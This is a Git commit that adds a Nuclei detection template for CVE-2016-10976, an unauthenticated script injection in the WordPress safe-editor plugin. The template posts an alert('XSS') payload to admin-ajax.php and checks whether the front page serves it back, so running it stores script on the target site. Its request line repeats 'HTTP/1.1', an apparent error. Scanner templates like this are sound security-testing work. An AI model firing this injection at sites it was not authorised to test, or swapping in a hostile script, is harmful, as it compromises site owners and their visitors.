CVE-2016-10976

patch-14
splint3r7 2024-11-07 12:40:48 +05:00
parent 0b719c4a2b
commit 6d29100369
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
id: CVE-2016-10976
info:
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
author: Splint3r7
severity: medium
description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page.
remediation: |
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-10976
cwe-id: CWE-79
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=se_save&type=js&data=alert('XSS')
matchers:
- type: dsl
dsl:
- 'len(body) == 0'
- 'status_code == 200'
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert('XSS')"
- type: status
status:
- 200